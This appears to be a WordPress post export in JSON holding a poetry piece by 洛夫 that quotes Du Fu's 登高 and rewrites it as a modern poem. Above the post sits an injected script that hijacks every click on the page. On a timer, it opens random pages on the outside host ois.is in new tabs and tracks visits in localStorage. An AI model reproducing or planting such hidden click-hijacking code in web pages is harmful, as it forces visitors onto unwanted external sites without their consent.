<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1244,"date":"2016-03-17T21:51:39","date_gmt":"2016-03-17T13:51:39","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1244"},"modified":"2016-03-17T21:51:39","modified_gmt":"2016-03-17T13:51:39","slug":"%e5%94%90%e8%a9%a9%e8%a7%a3%e6%a7%8b%ef%bc%8f%e7%99%bb%e9%ab%98%e2%8a%99%e6%b4%9b%e5%a4%ab","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1244","title":{"rendered":"\u5510\u8a69\u89e3\u69cb\uff0f\u767b\u9ad8\u2299\u6d1b\u592b"},"content":{"rendered":"<p style=\"margin: 24pt 36pt 12pt; line-height: 22pt;\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\">\u5510\u8a69\u89e3\u69cb\uff0f\u767b\u9ad8<\/span><\/b><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a; background-image: initial; background-attachment: initial; background-position: initial; background-repeat: initial;\">\u2299\u6d1b\u592b<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #0070c0;\">\u539f\u4f5c<\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u98a8\u6025\u5929\u9ad8\u733f\u562f\u54c0\uff0c\u6e1a\u6e05\u6c99\u767d\u9ce5\u98db\u56de\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7121\u908a\u843d\u6728\u856d\u856d\u4e0b\uff0c\u4e0d\u76e1\u9577\u6c5f\u6efe\u6efe\u4f86\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u842c\u91cc\u60b2\u79cb\u5e38\u4f5c\u5ba2\uff0c\u767e\u5e74\u591a\u75c5\u7368\u767b\u53f0\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8271\u96e3\u82e6\u6068\u7e41\u971c\u9b22\uff0c\u6f66\u5012\u65b0\u505c\u6fc1\u9152\u676f\u3002\u2500\u2500\u675c\u752b<\/span><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #0070c0;\">\u89e3\u69cb\u65b0\u4f5c<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7368\u7acb\u5cf0\u9802<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4efb\u79cb\u98a8\u628a\u84bc\u9aee\u68b3\u51fa\u706b\u82b1<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8173\u5e95\u7684\u6fe4\u8072\u8207\u733f\u562f<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5728\u5927\u8072\u547c\u558a\u4ed6\u7684\u540d\u5b57<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5343\u5e74\u5f8c\uff0c\u56de\u8072<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00\u69cc\u69cc\u5730<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u628a\u6c5f\u908a\u7684\u7901\u77f3\u649e\u51fa\u5629\u5629\u7684\u6d6a\u82b1<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4ed6\u5c07\u6eff\u8eab\u7684\u843d\u8449\u62c2\u5165\u6c5f\u6c34<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8b93\u5012\u5f71\u66f8\u5beb\u4ed6\u4e00\u751f\u7684\u8352\u5bd2<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u958b\u7bc7\u662f\u70fd\u706b\u4e2d\u5009\u7687\u7684\u8173\u6b65<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00\u96bb\u627e\u4e0d\u5230\u68f2\u6240\u7684\u6c99\u9dd7<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e2d\u9593\u662f\u4e00\u5927\u645e\u56e0\u60b2\u79cb\u800c\u5931\u8a9e\u7684\u8a69\u7a3f<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u9084\u6709\u4e00\u5927\u5806\u85e5\u7f50<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u800c\u7d50\u5c40\u5440<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7d50\u5c40\u53ea\u662f\u4e00\u53ea\u98f2\u76e1\u6fc1\u9152\u7684\u7a7a\u676f<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u9084\u5269\u4e0b\u6700\u5f8c\u4e00\u6ef4<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6dda<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u549a\u5730\u4e00\u8072\u6389\u9032\u4e86\u6c5f\u5fc3<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6fc0\u8d77\u597d\u5927\u597d\u5927\u7684\u4e00\u500b\u6f29\u6e26<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3010<\/span><span style=\"font-size: 11pt;\">2014\/09\/25 <\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u806f\u5408\u5831\u3011<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\"><a href=\"http:\/\/udn.com\/NEWS\/READING\/X5\/8957339.shtml\">http:\/\/udn.com\/NEWS\/READING\/X5\/8957339.shtml<\/a><\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5510\u8a69\u89e3\u69cb\uff0f\u767b\u9ad8\u2299\u6d1b\u592b \u539f\u4f5c \u98a8\u6025\u5929\u9ad8\u733f\u562f\u54c0\uff0c\u6e1a\u6e05\u6c99\u767d\u9ce5\u98db\u56de\uff0c \u7121\u908a\u843d\u6728\u856d\u856d\u4e0b\uff0c\u4e0d\u76e1\u9577\u6c5f\u6efe\u6efe\u4f86\uff0c \u842c\u91cc\u60b2\u79cb\u5e38\u4f5c\u5ba2 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,42,55],"tags":[83,97],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1244"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1244"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1244\/revisions"}],"predecessor-version":[{"id":1245,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1244\/revisions\/1245"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1244"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1244"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1244"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}